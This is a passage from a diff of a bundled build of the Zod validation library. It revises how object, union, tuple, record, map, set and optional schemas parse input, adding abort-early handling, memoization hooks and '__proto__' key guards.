issues: [] }, ctx)`; - }; + const syms = normalized.symbolKeys; + const doc = new Doc(["payload", "ctx"], { shape, inst, memo: memo2, syms }); + const parseStr = (k) => `shape[${k}]._zod.run({ value: input[${k}], issues: [] }, ctx)`; + const prefixStr = (id, k) => ` + let ${id}_ab = false; + for (let i = 0; i < ${id}.issues.length; i++) { + const iss = ${id}.issues[i]; + iss.path = iss.path ? [${k}, ...iss.path] : [${k}]; + payload.issues.push(iss); + if (iss.continue !== true) ${id}_ab = true; + } + if (${id}_ab && ctx && ctx.abortEarly) { + payload.value = newResult; + return payload; + }`; doc.write(`const input = payload.value;`); const ids = /* @__PURE__ */ Object.create(null); let counter = 0; - for (const key of normalized.keys) { + for (const key of normalized.allKeys) { ids[key] = `key_${counter++}`; } - doc.write(`const newResult = {};`); - for (const key of normalized.keys) { + doc.write(memo2 ? `const newResult = memo.alloc(inst, payload, {}, ctx);` : `const newResult = {};`); + for (const key of normalized.allKeys) { + if (key === "__proto__") + continue; const id = ids[key]; - const k = esc(key); + const k = typeof key === "symbol" ? `syms[${syms.indexOf(key)}]` : esc(key); + const isPresent = `${k} in input`; const schema = shape[key]; - const isOptionalIn = schema?._zod?.optin === "optional"; + const optin = schema?._zod?.optin; + const isOptionalIn = optin !== void 0; const isOptionalOut = schema?._zod?.optout === "optional"; - doc.write(`const ${id} = ${parseStr(key)};`); + doc.write(`const ${id} = ${parseStr(k)};`); if (isOptionalIn && isOptionalOut) { + const assign = optin === "optional" ? `${id}_present` : `${id}.value !== undefined || ${id}_present`; doc.write(` - if (${id}.issues.length) { - if (${k} in input) { - payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ - ...iss, - path: iss.path ? [${k}, ...iss.path] : [${k}] - }))); + const ${id}_present = ${isPresent}; + if (!${id}.issues.length || ${id}_present) { + if (${id}.issues.length) {${prefixStr(id, k)} } - } - - if (${id}.value === undefined) { - if (${k} in input) { - newResult[${k}] = undefined; + + if (${assign}) { + newResult[${k}] = ${id}.value; } - } else { - newResult[${k}] = ${id}.value; } - + `); } else if (!isOptionalIn) { doc.write(` - const ${id}_present = ${k} in input; - if (${id}.issues.length) { - payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ - ...iss, - path: iss.path ? [${k}, ...iss.path] : [${k}] - }))); + const ${id}_present = ${isPresent}; + if (${id}.issues.length) {${prefixStr(id, k)} } if (!${id}_present && !${id}.issues.length) { payload.issues.push({ @@ -66168,41 +66708,36 @@ var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => input: undefined, path: [${k}] }); + if (ctx && ctx.abortEarly) { + payload.value = newResult; + return payload; + } } if (${id}_present) { - if (${id}.value === undefined) { - newResult[${k}] = undefined; - } else { - newResult[${k}] = ${id}.value; - } + newResult[${k}] = ${id}.value; } `); } else { doc.write(` - if (${id}.issues.length) { - payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ - ...iss, - path: iss.path ? [${k}, ...iss.path] : [${k}] - }))); + if (${id}.issues.length) {${prefixStr(id, k)} } - - if (${id}.value === undefined) { - if (${k} in input) { - newResult[${k}] = undefined; - } + `); + if (optin === "defaulted") { + doc.write(`newResult[${k}] = ${id}.value;`); } else { + doc.write(` + if (${id}.value !== undefined || ${isPresent}) { newResult[${k}] = ${id}.value; } - `); + } } } doc.write(`payload.value = newResult;`); doc.write(`return payload;`); - const fn = doc.compile(); - return (payload, ctx) => fn(shape, payload, ctx); + return doc.compile(); }; let fastpass; const isObject2 = isObject; @@ -66213,12 +66748,12 @@ var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => let value; inst._zod.parse = (payload, ctx) => { value ?? (value = _normalized.value); - const input = payload.value; - if (!isObject2(input)) { + const input2 = payload.value; + if (!isObject2(input2)) { payload.issues.push({ expected: "object", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -66229,7 +66764,7 @@ var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => payload = fastpass(payload, ctx); if (!catchall) return payload; - return handleCatchall([], input, payload, ctx, value, inst); + return handleCatchall([], input2, payload, ctx, value, inst, ctx?.abortEarly === true); } return superParse(payload, ctx); }; @@ -66256,17 +66791,17 @@ function handleUnionResults(results, final, inst, ctx) { } var $ZodUnion = /* @__PURE__ */ $constructor("$ZodUnion", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "optin", () => def.options.some((o) => o._zod.optin === "optional") ? "optional" : void 0); - defineLazy(inst._zod, "optout", () => def.options.some((o) => o._zod.optout === "optional") ? "optional" : void 0); - defineLazy(inst._zod, "values", () => { - if (def.options.every((o) => o._zod.values)) { - return new Set(def.options.flatMap((option) => Array.from(option._zod.values))); + defineLazyInternal(inst, "optin", (zod) => zod.def.options.some((o) => o._zod.optin === "defaulted") ? "defaulted" : zod.def.options.some((o) => o._zod.optin !== void 0) ? "optional" : void 0); + defineLazyInternal(inst, "optout", (zod) => zod.def.options.some((o) => o._zod.optout === "optional") ? "optional" : void 0); + defineLazyInternal(inst, "values", (zod) => { + if (zod.def.options.every((o) => o._zod.values)) { + return new Set(zod.def.options.flatMap((option) => Array.from(option._zod.values))); } return void 0; }); - defineLazy(inst._zod, "pattern", () => { - if (def.options.every((o) => o._zod.pattern)) { - const patterns = def.options.map((o) => o._zod.pattern); + defineLazyInternal(inst, "pattern", (zod) => { + if (zod.def.options.every((o) => o._zod.pattern)) { + const patterns = zod.def.options.map((o) => o._zod.pattern); return new RegExp(`^(${patterns.map((p) => cleanRegex(p.source)).join("|")})$`); } return void 0; @@ -66300,12 +66835,16 @@ var $ZodUnion = /* @__PURE__ */ $constructor("$ZodUnion", (inst, def) => { }; }); function handleExclusiveUnionResults(results, final, inst, ctx) { - const successes = results.filter((r) => r.issues.length === 0); - if (successes.length === 1) { - final.value = successes[0].value; + const matches = []; + for (let i = 0; i < results.length; i++) { + if (results[i].issues.length === 0) + matches.push(i); + } + if (matches.length === 1) { + final.value = results[matches[0]].value; return final; } - if (successes.length === 0) { + if (matches.length === 0) { final.issues.push({ code: "invalid_union", input: final.value, @@ -66318,7 +66857,8 @@ function handleExclusiveUnionResults(results, final, inst, ctx) { input: final.value, inst, errors: [], - inclusive: false + inclusive: false, + matches }); } return final; @@ -66352,55 +66892,83 @@ var $ZodXor = /* @__PURE__ */ $constructor("$ZodXor", (inst, def) => { }); }; }); +function getDiscriminatedOption(union3, value) { + const internals = union3._zod; + let map2 = internals.bag.optionsMap; + if (!map2) { + map2 = discriminatorMap(internals.def); + internals.bag.optionsMap = map2; + } + const option = map2.get(value); + if (option === null) + throw new Error(`Ambiguous discriminator value "${String(value)}"`); + return option; +} +function discriminatorMap(def) { + const map2 = /* @__PURE__ */ new Map(); + for (const option of def.options) { + const values2 = option._zod.propValues?.[def.discriminator]; + if (!values2 || values2.size === 0) + throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(option)}"`); + for (const value of values2) { + if (map2.has(value)) { + if (value !== void 0) + throw new Error(`Duplicate discriminator value "${String(value)}"`); + map2.set(value, null); + } else { + map2.set(value, option); + } + } + } + return map2; +} var $ZodDiscriminatedUnion = /* @__PURE__ */ $constructor("$ZodDiscriminatedUnion", (inst, def) => { def.inclusive = false; $ZodUnion.init(inst, def); const _super = inst._zod.parse; - defineLazy(inst._zod, "propValues", () => { + defineLazyInternal(inst, "propValues", (zod) => { const propValues = {}; - for (const option of def.options) { + let undefinedCount = 0; + for (const option of zod.def.options) { const pv = option._zod.propValues; if (!pv || Object.keys(pv).length === 0) - throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(option)}"`); + throw new Error(`Invalid discriminated union option at index "${zod.def.options.indexOf(option)}"`); + if (pv[zod.def.discriminator]?.has(void 0)) + undefinedCount++; for (const [k, v] of Object.entries(pv)) { - if (!propValues[k]) - propValues[k] = /* @__PURE__ */ new Set(); + if (!Object.prototype.hasOwnProperty.call(propValues, k)) { + assignProp(propValues, k, /* @__PURE__ */ new Set()); + } for (const val of v) { propValues[k].add(val); } } } + if (!zod.def.unionFallback && undefinedCount > 1) + propValues[zod.def.discriminator]?.delete(void 0); return propValues; }); - const disc = cached(() => { - const opts = def.options; - const map2 = /* @__PURE__ */ new Map(); - for (const o of opts) { - const values2 = o._zod.propValues?.[def.discriminator]; - if (!values2 || values2.size === 0) - throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(o)}"`); - for (const v of values2) { - if (map2.has(v)) { - throw new Error(`Duplicate discriminator value "${String(v)}"`); - } - map2.set(v, o); - } + def.options.forEach((option, i) => { + const propShape = rawShape(option._zod.def); + if (propShape && !Object.prototype.hasOwnProperty.call(propShape, def.discriminator)) { + throw new Error(`Invalid discriminated union option at index "${i}"`); } - return map2; }); + const disc = cached(() => discriminatorMap(def)); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!isObject(input)) { + const input2 = payload.value; + if (!isObject(input2)) { payload.issues.push({ code: "invalid_type", expected: "object", - input, + input: input2, inst }); return payload; } - const opt = disc.value.get(input?.[def.discriminator]); - if (opt) { + const value = input2?.[def.discriminator]; + const opt = disc.value.get(value); + if (opt && (value !== void 0 || ctx.direction !== "backward")) { return opt._zod.run(payload, ctx); } if (def.unionFallback || ctx.direction === "backward") { @@ -66411,8 +66979,8 @@ var $ZodDiscriminatedUnion = /* @__PURE__ */ $constructor("$ZodDiscriminatedUnio errors: [], note: "No matching discriminator", discriminator: def.discriminator, - options: Array.from(disc.value.keys()), - input, + options: Array.from(disc.value.keys()).filter((value2) => disc.value.get(value2) !== null), + input: input2, path: [def.discriminator], inst }); @@ -66422,9 +66990,9 @@ var $ZodDiscriminatedUnion = /* @__PURE__ */ $constructor("$ZodDiscriminatedUnio var $ZodIntersection = /* @__PURE__ */ $constructor("$ZodIntersection", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - const left = def.left._zod.run({ value: input, issues: [] }, ctx); - const right = def.right._zod.run({ value: input, issues: [] }, ctx); + const input2 = payload.value; + const left = def.left._zod.run({ value: input2, issues: [] }, ctx); + const right = def.right._zod.run({ value: input2, issues: [] }, ctx); const async = left instanceof Promise || right instanceof Promise; if (async) { return Promise.all([left, right]).then(([left2, right2]) => { @@ -66445,7 +67013,11 @@ function mergeValues(a, b2) { const bKeys = Object.keys(b2); const sharedKeys = Object.keys(a).filter((key) => bKeys.indexOf(key) !== -1); const newObj = { ...a, ...b2 }; + if (Object.prototype.hasOwnProperty.call(newObj, "__proto__")) + delete newObj.__proto__; for (const key of sharedKeys) { + if (key === "__proto__") + continue; const sharedValue = mergeValues(a[key], b2[key]); if (!sharedValue.valid) { return { @@ -66481,37 +67053,49 @@ function mergeValues(a, b2) { function handleIntersectionResults(result, left, right) { const unrecKeys = /* @__PURE__ */ new Map(); let unrecIssue; - for (const iss of left.issues) { - if (iss.code === "unrecognized_keys") { + const keyIssues = /* @__PURE__ */ new Map(); + const collect = (iss, side) => { + let keys; + if (iss.code === "unrecognized_keys" && !iss.path?.length) { unrecIssue ?? (unrecIssue = iss); - for (const k of iss.keys) { - if (!unrecKeys.has(k)) - unrecKeys.set(k, {}); - unrecKeys.get(k).l = true; - } + keys = iss.keys; + } else if (iss.code === "invalid_key" && iss.origin === "record" && iss.path?.length === 1) { + const k = String(iss.path[0]); + if (!keyIssues.has(k)) + keyIssues.set(k, iss); + keys = [k]; } else { - result.issues.push(iss); + return false; + } + for (const k of keys) { + if (!unrecKeys.has(k)) + unrecKeys.set(k, {}); + unrecKeys.get(k)[side] = true; } + return true; + }; + for (const iss of left.issues) { + if (!collect(iss, "l")) + result.issues.push(iss); } for (const iss of right.issues) { - if (iss.code === "unrecognized_keys") { - for (const k of iss.keys) { - if (!unrecKeys.has(k)) - unrecKeys.set(k, {}); - unrecKeys.get(k).r = true; - } - } else { + if (!collect(iss, "r")) result.issues.push(iss); - } } const bothKeys = [...unrecKeys].filter(([, f]) => f.l && f.r).map(([k]) => k); - if (bothKeys.length && unrecIssue) { - result.issues.push({ ...unrecIssue, keys: bothKeys }); + if (bothKeys.length) { + const aggregated = unrecIssue ? bothKeys.filter((k) => unrecIssue.keys.includes(k)) : []; + if (aggregated.length) + result.issues.push({ ...unrecIssue, keys: aggregated }); + for (const k of bothKeys) { + if (!aggregated.includes(k) && keyIssues.has(k)) + result.issues.push(keyIssues.get(k)); + } } - if (aborted(result)) - return result; const merged = mergeValues(left.value, right.value); if (!merged.valid) { + if (aborted(result)) + return result; throw new Error(`Unmergable intersection. Error path: ${JSON.stringify(merged.mergeErrorPath)}`); } result.value = merged.data; @@ -66520,59 +67104,71 @@ function handleIntersectionResults(result, left, right) { var $ZodTuple = /* @__PURE__ */ $constructor("$ZodTuple", (inst, def) => { $ZodType.init(inst, def); const items = def.items; + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!Array.isArray(input)) { + const input2 = payload.value; + if (!Array.isArray(input2)) { payload.issues.push({ - input, + input: input2, inst, expected: "tuple", code: "invalid_type" }); return payload; } - payload.value = []; + payload.value = memo2 ? memo2.alloc(inst, payload, [], ctx) : []; const proms = []; const optinStart = getTupleOptStart(items, "optin"); const optoutStart = getTupleOptStart(items, "optout"); if (!def.rest) { - if (input.length < optinStart) { + if (input2.length < optinStart) { payload.issues.push({ code: "too_small", minimum: optinStart, inclusive: true, - input, + input: input2, inst, origin: "array" }); return payload; } - if (input.length > items.length) { + if (input2.length > items.length) { payload.issues.push({ code: "too_big", maximum: items.length, inclusive: true, - input, + input: input2, inst, origin: "array" }); } } const itemResults = new Array(items.length); + const abortEarly = def.rest ? ctx?.abortEarly : void 0; + let itemAborted = false; for (let i = 0; i < items.length; i++) { - const r = items[i]._zod.run({ value: input[i], issues: [] }, ctx); + const r = items[i]._zod.run({ value: input2[i], issues: [] }, ctx); if (r instanceof Promise) { proms.push(r.then((rr) => { itemResults[i] = rr; })); } else { itemResults[i] = r; + if (abortEarly && !itemAborted && r.issues.length) + itemAborted = aborted(r); } } - if (def.rest) { + if (def.rest && !itemAborted) { let i = items.length - 1; - const rest = input.slice(items.length); + const rest = input2.slice(items.length); + let seen = payload.issues.length; for (const el of rest) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } i++; const result = def.rest._zod.run({ value: el, issues: [] }, ctx); if (result instanceof Promise) { @@ -66583,14 +67179,15 @@ var $ZodTuple = /* @__PURE__ */ $constructor("$ZodTuple", (inst, def) => { } } if (proms.length) { - return Promise.all(proms).then(() => handleTupleResults(itemResults, payload, items, input, optoutStart)); + return Promise.all(proms).then(() => handleTupleResults(itemResults, payload, items, input2, optoutStart)); } - return handleTupleResults(itemResults, payload, items, input, optoutStart); + return handleTupleResults(itemResults, payload, items, input2, optoutStart); }; }); function getTupleOptStart(items, key) { for (let i = items.length - 1; i >= 0; i--) { - if (items[i]._zod[key] !== "optional") + const omittable = key === "optin" ? items[i]._zod.optin !== void 0 : items[i]._zod.optout === "optional"; + if (!omittable) return i + 1; } return 0; @@ -66601,10 +67198,14 @@ function handleTupleResult(result, final, index2) { } final.value[index2] = result.value; } -function handleTupleResults(itemResults, final, items, input, optoutStart) { +function handleTupleResults(itemResults, final, items, input2, optoutStart) { for (let i = 0; i < items.length; i++) { const r = itemResults[i]; - const isPresent = i < input.length; + const isPresent = i < input2.length; + if (!isPresent && i >= optoutStart && items[i]._zod.optin === "optional") { + final.value.length = i; + break; + } if (r.issues.length) { if (!isPresent && i >= optoutStart) { final.value.length = i; @@ -66614,7 +67215,7 @@ function handleTupleResults(itemResults, final, items, input, optoutStart) { } final.value[i] = r.value; } - for (let i = final.value.length - 1; i >= input.length; i--) { + for (let i = final.value.length - 1; i >= input2.length; i--) { if (items[i]._zod.optout === "optional" && final.value[i] === void 0) { final.value.length = i; } else { @@ -66625,25 +67226,29 @@ function handleTupleResults(itemResults, final, items, input, optoutStart) { } var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!isPlainObject(input)) { + const input2 = payload.value; + if (!isPlainObject(input2)) { payload.issues.push({ expected: "record", code: "invalid_type", - input, + input: input2, inst }); return payload; } const proms = []; const values2 = def.keyType._zod.values; - if (values2) { - payload.value = {}; + if (values2 && !def.partial) { + payload.value = memo2 ? memo2.alloc(inst, payload, {}, ctx) : {}; const recordKeys = /* @__PURE__ */ new Set(); for (const key of values2) { if (typeof key === "string" || typeof key === "number" || typeof key === "symbol") { recordKeys.add(typeof key === "number" ? key.toString() : key); + if (key === "__proto__") + continue; const keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); if (keyResult instanceof Promise) { throw new Error("Async schemas not supported in object keys currently"); @@ -66660,7 +67265,9 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { continue; } const outKey = keyResult.value; - const result = def.valueType._zod.run({ value: input[key], issues: [] }, ctx); + if (outKey === "__proto__") + continue; + const result = def.valueType._zod.run({ value: input2[key], issues: [] }, ctx); if (result instanceof Promise) { proms.push(result.then((result2) => { if (result2.issues.length) { @@ -66677,26 +67284,34 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { } } let unrecognized; - for (const key in input) { + for (const key in input2) { if (!recordKeys.has(key)) { - unrecognized = unrecognized ?? []; - unrecognized.push(key); + if (def.mode === "loose") { + if (key === "__proto__") + continue; + payload.value[key] = input2[key]; + } else { + unrecognized = unrecognized ?? []; + unrecognized.push(key); + } } } if (unrecognized && unrecognized.length > 0) { payload.issues.push({ code: "unrecognized_keys", - input, + input: input2, inst, - keys: unrecognized + keys: unrecognized, + continue: true }); } } else { - payload.value = {}; - for (const key of Reflect.ownKeys(input)) { + payload.value = memo2 ? memo2.alloc(inst, payload, {}, ctx) : {}; + let unrecognized; + for (const key of Reflect.ownKeys(input2)) { if (key === "__proto__") continue; - if (!Object.prototype.propertyIsEnumerable.call(input, key)) + if (!Object.prototype.propertyIsEnumerable.call(input2, key)) continue; let keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); if (keyResult instanceof Promise) { @@ -66714,7 +67329,10 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { } if (keyResult.issues.length) { if (def.mode === "loose") { - payload.value[key] = input[key]; + payload.value[key] = input2[key]; + } else if (values2) { + unrecognized = unrecognized ?? []; + unrecognized.push(key); } else { payload.issues.push({ code: "invalid_key", @@ -66727,21 +67345,33 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { } continue; } - const result = def.valueType._zod.run({ value: input[key], issues: [] }, ctx); + const outKey = keyResult.value; + if (outKey === "__proto__") + continue; + const result = def.valueType._zod.run({ value: input2[key], issues: [] }, ctx); if (result instanceof Promise) { proms.push(result.then((result2) => { if (result2.issues.length) { payload.issues.push(...prefixIssues(key, result2.issues)); } - payload.value[keyResult.value] = result2.value; + payload.value[outKey] = result2.value; })); } else { if (result.issues.length) { payload.issues.push(...prefixIssues(key, result.issues)); } - payload.value[keyResult.value] = result.value; + payload.value[outKey] = result.value; } } + if (unrecognized && unrecognized.length > 0) { + payload.issues.push({ + code: "unrecognized_keys", + input: input2, + inst, + keys: unrecognized, + continue: true + }); + } } if (proms.length) { return Promise.all(proms).then(() => payload); @@ -66751,36 +67381,46 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { }); var $ZodMap = /* @__PURE__ */ $constructor("$ZodMap", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!(input instanceof Map)) { + const input2 = payload.value; + if (!(input2 instanceof Map)) { payload.issues.push({ expected: "map", code: "invalid_type", - input, + input: input2, inst }); return payload; } const proms = []; - payload.value = /* @__PURE__ */ new Map(); - for (const [key, value] of input) { + payload.value = memo2 ? memo2.alloc(inst, payload, /* @__PURE__ */ new Map(), ctx) : /* @__PURE__ */ new Map(); + const abortEarly = ctx?.abortEarly; + let seen = payload.issues.length; + for (const [key, value] of input2) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } const keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); const valueResult = def.valueType._zod.run({ value, issues: [] }, ctx); if (keyResult instanceof Promise || valueResult instanceof Promise) { proms.push(Promise.all([keyResult, valueResult]).then(([keyResult2, valueResult2]) => { - handleMapResult(keyResult2, valueResult2, payload, key, input, inst, ctx); + handleMapResult(keyResult2, valueResult2, payload, key, input2, inst, ctx); })); } else { - handleMapResult(keyResult, valueResult, payload, key, input, inst, ctx); + handleMapResult(keyResult, valueResult, payload, key, input2, inst, ctx); } } if (proms.length) return Promise.all(proms).then(() => payload); return payload; }; + capSize(inst, mapSize); }); -function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { +function handleMapResult(keyResult, valueResult, final, key, input2, inst, ctx) { if (keyResult.issues.length) { if (propertyKeyTypes.has(typeof key)) { final.issues.push(...prefixIssues(key, keyResult.issues)); @@ -66788,7 +67428,7 @@ function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { final.issues.push({ code: "invalid_key", origin: "map", - input, + input: input2, inst, issues: keyResult.issues.map((iss) => finalizeIssue(iss, ctx, config())) }); @@ -66801,7 +67441,7 @@ function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { final.issues.push({ origin: "map", code: "invalid_element", - input, + input: input2, inst, key, issues: valueResult.issues.map((iss) => finalizeIssue(iss, ctx, config())) @@ -66812,11 +67452,13 @@ function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { } var $ZodSet = /* @__PURE__ */ $constructor("$ZodSet", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!(input instanceof Set)) { + const input2 = payload.value; + if (!(input2 instanceof Set)) { payload.issues.push({ - input, + input: input2, inst, expected: "set", code: "invalid_type" @@ -66824,8 +67466,15 @@ var $ZodSet = /* @__PURE__ */ $constructor("$ZodSet", (inst, def) => { return payload; } const proms = []; - payload.value = /* @__PURE__ */ new Set(); - for (const item of input) { + payload.value = memo2 ? memo2.alloc(inst, payload, /* @__PURE__ */ new Set(), ctx) : /* @__PURE__ */ new Set(); + const abortEarly = ctx?.abortEarly; + let seen = payload.issues.length; + for (const item of input2) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } const result = def.valueType._zod.run({ value: item, issues: [] }, ctx); if (result instanceof Promise) { proms.push(result.then((result2) => handleSetResult(result2, payload))); @@ -66836,6 +67485,7 @@ var $ZodSet = /* @__PURE__ */ $constructor("$ZodSet", (inst, def) => { return Promise.all(proms).then(() => payload); return payload; }; + capSize(inst, setSize); }); function handleSetResult(result, final) { if (result.issues.length) { @@ -66848,16 +67498,19 @@ var $ZodEnum = /* @__PURE__ */ $constructor("$ZodEnum", (inst, def) => { const values2 = getEnumValues(def.entries); const valuesSet = new Set(values2); inst._zod.values = valuesSet; - inst._zod.pattern = new RegExp(`^(${values2.filter((k) => propertyKeyTypes.has(typeof k)).map((o) => typeof o === "string" ? escapeRegex(o) : o.toString()).join("|")})$`); + defineLazyInternal(inst, "pattern", (zod) => { + const patternValues = getEnumValues(zod.def.entries).filter((k) => propertyKeyTypes.has(typeof k)); + return new RegExp(patternValues.length ? `^(${patternValues.map((o) => escapeRegex(o.toString())).join("|")})$` : "^[^\\s\\S]$"); + }); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (valuesSet.has(input)) { + const input2 = payload.value; + if (valuesSet.has(input2)) { return payload; } payload.issues.push({ code: "invalid_value", values: values2, - input, + input: input2, inst }); return payload; @@ -66865,21 +67518,21 @@ var $ZodEnum = /* @__PURE__ */ $constructor("$ZodEnum", (inst, def) => { }); var $ZodLiteral = /* @__PURE__ */ $constructor("$ZodLiteral", (inst, def) => { $ZodType.init(inst, def); - if (def.values.length === 0) { - throw new Error("Cannot create literal schema with no valid values"); - } const values2 = new Set(def.values); inst._zod.values = values2; - inst._zod.pattern = new RegExp(`^(${def.values.map((o) => typeof o === "string" ? escapeRegex(o) : o ? escapeRegex(o.toString()) : String(o)).join("|")})$`); + defineLazyInternal(inst, "pattern", (zod) => { + const vals = zod.def.values; + return new RegExp(vals.length ? `^(${vals.map((o) => typeof o === "string" ? escapeRegex(o) : o ? escapeRegex(o.toString()) : String(o)).join("|")})$` : "^[^\\s\\S]$"); + }); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (values2.has(input)) { + const input2 = payload.value; + if (values2.has(input2)) { return payload; } payload.issues.push({ code: "invalid_value", values: def.values, - input, + input: input2, inst }); return payload; @@ -66888,13 +67541,13 @@ var $ZodLiteral = /* @__PURE__ */ $constructor("$ZodLiteral", (inst, def) => { var $ZodFile = /* @__PURE__ */ $constructor("$ZodFile", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (input instanceof File) + const input2 = payload.value; + if (input2 instanceof File) return payload; payload.issues.push({ expected: "file", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -66903,16 +67556,16 @@ var $ZodFile = /* @__PURE__ */ $constructor("$ZodFile", (inst, def) => { var $ZodTransform = /* @__PURE__ */ $constructor("$ZodTransform", (inst, def) => { $ZodType.init(inst, def); inst._zod.optin = "optional"; + globalConfig.memoizer?.guard(inst); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { throw new $ZodEncodeError(inst.constructor.name); } const _out = def.transform(payload.value, payload); if (ctx.async) { - const output = _out instanceof Promise ? _out : Promise.resolve(_out); - return output.then((output2) => { - payload.value = output2; - payload.fallback = true; + const output2 = _out instanceof Promise ? _out : Promise.resolve(_out); + return output2.then((output3) => { + payload.value = output3; return payload; }); } @@ -66920,59 +67573,55 @@ var $ZodTransform = /* @__PURE__ */ $constructor("$ZodTransform", (inst, def) => throw new $ZodAsyncError(); } payload.value = _out; - payload.fallback = true; return payload; }; }); -function handleOptionalResult(result, input) { - if (input === void 0 && (result.issues.length || result.fallback)) { - return { issues: [], value: void 0 }; - } - return result; +function handleOptionalResult(payload, result) { + payload.value = result.issues.length ? void 0 : result.value; + return payload; } var $ZodOptional = /* @__PURE__ */ $constructor("$ZodOptional", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType._zod.optin === "defaulted" ? "defaulted" : "optional"); inst._zod.optout = "optional"; - defineLazy(inst._zod, "values", () => { - return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, void 0]) : void 0; + defineLazyInternal(inst, "values", (zod) => { + const values2 = zod.def.innerType._zod.values; + return values2 ? /* @__PURE__ */ new Set([...values2, void 0]) : void 0; }); - defineLazy(inst._zod, "pattern", () => { - const pattern = def.innerType._zod.pattern; + defineLazyInternal(inst, "pattern", (zod) => { + const pattern = zod.def.innerType._zod.pattern; return pattern ? new RegExp(`^(${cleanRegex(pattern.source)})?$`) : void 0; }); inst._zod.parse = (payload, ctx) => { - if (def.innerType._zod.optin === "optional") { - const input = payload.value; - const result = def.innerType._zod.run(payload, ctx); - if (result instanceof Promise) - return result.then((r) => handleOptionalResult(r, input)); - return handleOptionalResult(result, input); - } if (payload.value === void 0) { - return payload; + if (def.innerType._zod.optin !== "defaulted") + return payload; + const result = def.innerType._zod.run({ value: payload.value, issues: [] }, ctx); + if (result instanceof Promise) + return result.then((result2) => handleOptionalResult(payload, result2)); + return handleOptionalResult(payload, result); } return def.innerType._zod.run(payload, ctx); }; }); var $ZodExactOptional = /* @__PURE__ */ $constructor("$ZodExactOptional", (inst, def) => { $ZodOptional.init(inst, def); - defineLazy(inst._zod, "values", () => def.innerType._zod.values); - defineLazy(inst._zod, "pattern", () => def.innerType._zod.pattern); + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); + defineLazyInternal(inst, "pattern", (zod) => zod.def.innerType._zod.pattern); inst._zod.parse = (payload, ctx) => { return def.innerType._zod.run(payload, ctx); }; }); var $ZodNullable = /* @__PURE__ */ $constructor("$ZodNullable", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "optin", () => def.innerType._zod.optin); - defineLazy(inst._zod, "optout", () => def.innerType._zod.optout); - defineLazy(inst._zod, "pattern", () => { - const pattern = def.innerType._zod.pattern; + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType._zod.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.innerType._zod.optout); + defineLazyInternal(inst, "pattern", (zod) => { + const pattern = zod.def.innerType._zod.pattern; return pattern ? new RegExp(`^(${cleanRegex(pattern.source)}|null)$`) : void 0; }); - defineLazy(inst._zod, "values", () => { - return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, null]) : void 0; + defineLazyInternal(inst, "values", (zod) => { + return zod.def.innerType._zod.values ? /* @__PURE__ */ new Set([...zod.def.innerType._zod.values, null]) : void 0; }); inst._zod.parse = (payload, ctx) => { if (payload.value === null) @@ -66982,8 +67631,8 @@ var $ZodNullable = /* @__PURE__ */ $constructor("$ZodNullable", (inst, def) => { }); var $ZodDefault = /* @__PURE__ */ $constructor("$ZodDefault", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; - defineLazy(inst._zod, "values", () => def.innerType._zod.values); + inst._zod.optin = "defaulted"; + defineLazyInternal(inst, "values", (zod) => 